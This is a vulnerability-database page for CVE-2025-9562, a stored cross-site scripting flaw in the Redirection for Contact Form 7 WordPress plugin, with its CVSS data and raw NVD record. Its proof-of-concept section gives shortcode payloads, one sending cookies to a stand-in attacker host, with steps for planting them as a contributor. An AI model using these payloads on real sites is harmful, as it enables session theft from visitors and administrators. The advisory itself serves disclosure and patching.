Security Vulnerability Report
中文
CVE-2025-9562 CVSS 6.4 MEDIUM

CVE-2025-9562

Published: 2025-10-18 07:15:36
Last Modified: 2026-04-15 00:35:42

Description

The Redirection for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's qs_date shortcode in all versions up to, and including, 3.2.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

wpcf7-redirect < 3.2.7
Redirection for Contact Form 7 所有 <= 3.2.6 的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9562 PoC for Stored XSS via qs_date shortcode --> <!-- The attacker needs Contributor-level access or above on the WordPress site --> <!-- Step 1: Create a new post or page as a Contributor --> <!-- Step 2: Insert the following malicious shortcode in the content --> [qs_date format="<script>alert('XSS-CVE-2025-9562');document.location='https://attacker.example.com/steal?c='+document.cookie</script>" date="2025-01-01"] <!-- Alternative PoC using event handlers --> [qs_date format="Y-m-d" date="><img src=x onerror=alert(document.domain)>"] <!-- Step 3: Publish or submit the post for review --> <!-- Step 4: When any user (including admin) views the published page, --> <!-- the injected JavaScript will execute in their browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9562", "sourceIdentifier": "[email protected]", "published": "2025-10-18T07:15:36.213", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Redirection for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's qs_date shortcode in all versions up to, and including, 3.2.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpcf7-redirect/tags/3.2.5/wpcf7r-functions.php#L558", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3378810%40wpcf7-redirect&new=3378810%40wpcf7-redirect&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wpcf7-redirect/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5a801bb0-a7fc-42c3-b26f-3f7cdb592bea?source=cve", "source": "[email protected]"}]}}